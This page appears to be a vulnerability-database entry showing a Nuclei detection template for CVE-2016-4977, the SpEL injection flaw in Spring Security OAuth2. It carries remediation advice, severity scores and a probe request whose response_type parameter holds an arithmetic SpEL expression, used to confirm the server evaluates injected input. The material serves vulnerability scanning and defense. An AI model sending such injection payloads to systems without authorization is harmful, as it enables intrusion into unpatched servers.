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Spring Security OAuth2 Remote Command Execution

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
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Spring Security OAuth2 Remote Command Execution vulnerability in versions 1.0.0 to 1.0.5 and 2.0.0 to 2.0.9 allows remote code execution

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id: CVE-2016-4977

info:
  name: Spring Security OAuth2 Remote Command Execution
  author: princechaddha
  severity: high
  description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md
    - https://tanzu.vmware.com/security/cve-2016-4977
    - https://nvd.nist.gov/vuln/detail/CVE-2016-4977
    - https://pivotal.io/security/cve-2016-4977
    - http://www.openwall.com/lists/oss-security/2019/10/16/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-4977
    cwe-id: CWE-19
    epss-score: 0.79176
    epss-percentile: 0.9955
    cpe: cpe:2.3:a:pivotal:spring_security_oauth:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pivotal
    product: spring_security_oauth
  tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Unsupported response types: [978015547]"

      - type: status
        status:
          - 400
# digest: 490a0046304402205d3cf91aeaabe7613c3e5f00f41505bdeb9953afab4c44802cfed3249b81184a02203668c6110e01129975aa611e29872d15537ca6612167efc8473484021e93aedf:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.5High risk
Vulners AI Score7.5
CVSS 26.5
CVSS 38.8
EPSS0.79176
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